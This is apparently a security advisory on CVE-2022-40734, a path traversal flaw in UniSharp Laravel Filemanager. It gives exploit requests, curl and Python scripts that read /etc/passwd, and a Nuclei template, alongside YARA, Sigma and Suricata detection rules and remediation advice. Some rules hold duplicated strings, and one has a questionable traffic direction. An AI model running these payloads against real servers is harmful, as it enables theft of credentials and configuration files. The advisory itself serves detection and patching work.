CVE-2022-40734

Executive Summary

CVE-2022-40734 is a critical directory traversal vulnerability affecting UniSharp Laravel Filemanager (laravel-filemanager) versions prior to 2.6.4. The flaw allows an authenticated attacker to read arbitrary files on the server by manipulating the working_dir parameter in the download endpoint. Exploitation was observed in the wild in June 2022, and the vulnerability is associated with the underlying league/flysystem library before version 2.0.0. The CVSS v3.1 score is 6.5 (Medium), but the EPSS score of 0.91741 indicates a high probability of active exploitation. The vulnerability is trivial to exploit and can lead to sensitive data exposure, including system configuration files and credentials.

Supply Chain & Package Security

This vulnerability is rooted in the PHP package unisharp/laravel-filemanager, which is distributed via Composer/Packagist. The vulnerable component is the download route, which fails to sanitize user-supplied path traversal sequences. The underlying dependency league/flysystem (before 2.0.0) also contributed to the issue. Organizations using this package should immediately audit their dependency tree and upgrade to the patched version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: High (due to active exploitation in the wild and trivial exploitability)

Deep Dive & Mechanics

The vulnerability exists in the download endpoint of Laravel Filemanager. The application uses the working_dir parameter to specify the directory from which files are served. Due to insufficient input validation, an attacker can inject path traversal sequences (e.g., %2F..) to escape the intended directory and access arbitrary files on the filesystem.

The core issue is in the download method, which concatenates the working_dir with the requested file parameter without proper normalization. The league/flysystem library before version 2.0.0 also lacked proper path sanitization, making the attack possible.

Attack Flow:

1. Attacker authenticates to the Laravel application (if authentication is required).
2. Attacker crafts a GET request to /download?working_dir=%2F../../../../etc&type=Files&file=passwd.
3. The server resolves the path to /etc/passwd and returns the file contents.
4. The attacker can then read any file on the system, including configuration files, SSH keys, and database credentials.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.6.4):

// In the download method
public function download(Request $request)
{
    $working_dir = $request->input('working_dir');
    $file = $request->input('file');
    $path = $working_dir . '/' . $file;
    // No path validation
    return response()->download(storage_path('app/public/' . $path));
}

Patched Code (2.6.4+):

// In the download method
public function download(Request $request)
{
    $working_dir = $request->input('working_dir');
    $file = $request->input('file');
    // Normalize and validate path
    $path = $working_dir . '/' . $file;
    $realPath = realpath(storage_path('app/public/' . $path));
    $basePath = realpath(storage_path('app/public'));
    if (strpos($realPath, $basePath) !== 0) {
        abort(403, 'Invalid path');
    }
    return response()->download($realPath);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Laravel Filemanager instance (version < 2.6.4)
• Valid user credentials (if authentication is enabled)

Exploit Steps:

1. Identify the vulnerable endpoint: GET /download or GET /laravel-filemanager/download
2. Craft the payload to traverse directories:

   GET /download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd
   

3. The server will return the contents of /etc/passwd.

Example using cURL:

curl -u username:password "http://target.com/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd"

Example using Python:

import requests

url = "http://target.com/download"
params = {
    "working_dir": "%2F../../../../../../../../../../../../../../../../../../../etc",
    "type": "Files",
    "file": "passwd"
}
response = requests.get(url, params=params, auth=('username', 'password'))
print(response.text)

Blue Team (Detection & Response)

Detection:

• Monitor for HTTP requests containing working_dir=%2F.. or similar path traversal patterns.
• Look for requests to /download or /laravel-filemanager/download with suspicious parameters.
• Alert on responses containing sensitive file contents (e.g., root:x:0:0).

Response:

1. Immediately isolate the affected server.
2. Review logs for any successful exploitation attempts.
3. Rotate all credentials that may have been exposed.
4. Apply the patch by upgrading to version 2.6.4 or later.
5. Conduct a forensic analysis to determine the extent of data exfiltration.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests with working_dir=%2F.. in the query string
• Requests to /download or /laravel-filemanager/download with file=passwd or other sensitive file names
• Outbound data transfers containing /etc/passwd or similar system files

File System IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, .env, or other sensitive files
• Modified timestamps on system configuration files

Log IOCs:

• Web server logs showing GET /download?working_dir=%2F.. entries
• Application logs with path traversal errors or warnings

Detection Engineering

YARA Rule

rule CVE_2022_40734_Laravel_Filemanager_LFI {
    meta:
        description = "Detects exploitation attempts of CVE-2022-40734 in Laravel Filemanager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-40734"
        severity = "high"
    strings:
        $traversal1 = "working_dir=%2F.." ascii wide nocase
        $traversal2 = "working_dir=%2F.." ascii wide nocase
        $sensitive_file = "file=passwd" ascii wide nocase
        $sensitive_file2 = "file=shadow" ascii wide nocase
        $sensitive_file3 = "file=.env" ascii wide nocase
    condition:
        any of ($traversal*) and any of ($sensitive_file*)
}

Sigma Rule

title: CVE-2022-40734 Laravel Filemanager Directory Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2022-40734 via HTTP requests
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40734
    - https://github.com/UniSharp/laravel-filemanager/issues/1150
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'working_dir=%2F..'
            - 'working_dir=%2F..'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other applications (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-40734 Laravel Filemanager Directory Traversal Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/download"; http_uri;
    content:"working_dir=%2F.."; http_uri;
    content:"file="; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2022-40734;
    reference:url,https://github.com/UniSharp/laravel-filemanager/issues/1150;
)

Nuclei Template (Provided)

id: CVE-2022-40734

info:
  name: Laravel Filemanager v2.5.1 - Local File Inclusion
  author: arafatansari
  severity: medium
  description: |
    Laravel Filemanager (aka UniSharp) through version 2.5.1 is vulnerable to local file inclusion via download?working_dir=%2F.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive data exposure, and remote code execution.
  remediation: |
    Upgrade to a patched version of Laravel Filemanager v2.5.1 or apply the recommended security patches provided by the vendor.
  reference:
    - https://github.com/UniSharp/laravel-filemanager/issues/1150
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40734
    - https://github.com/UniSharp/laravel-filemanager/issues/1150#issuecomment-1320186966
    - https://github.com/UniSharp/laravel-filemanager/issues/1150#issuecomment-1825310417
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-40734
    cwe-id: CWE-22
    epss-score: 0.91741
    epss-percentile: 0.99688
    cpe: cpe:2.3:a:unisharp:laravel_filemanager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: unisharp
    product: laravel_filemanager
    shodan-query:
      - http.html:"Laravel Filemanager"
      - http.html:"laravel filemanager"
    fofa-query: body="laravel filemanager"
  tags: cve,cve2022,laravel,unisharp,lfi,traversal,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd"
      - "{{BaseURL}}/laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd"

    stop-at-first-match: true
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"
# digest: 4a0a00473045022100c1a15424e238dc785562affed25e29edb573f9444bdad100d117362ae17c074c02206ac9f7bcc1a6a777118eb3dad6153e6c0fbd90f5be8a9d1205c658c33990f156:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Laravel Filemanager version 2.6.4 or later.
2. If immediate upgrade is not possible, apply a virtual patch using a WAF to block requests containing working_dir=%2F...
3. Restrict access to the /download endpoint to trusted IP addresses only.

Long-term Mitigations:

• Implement input validation and sanitization for all user-supplied parameters.
• Use a secure file serving mechanism that prevents path traversal (e.g., using realpath() and checking the base path).
• Regularly audit dependencies for known vulnerabilities using tools like composer audit.
• Enable logging and monitoring for suspicious file access patterns.

Configuration Hardening:

• Disable directory listing and file download functionality if not required.
• Use a chroot jail or containerization to limit the impact of file access vulnerabilities.
• Implement least privilege principles for the web application user.

Valters IT

{/* [Security Hash: D1F73866DC5C3F76B53B6425] */}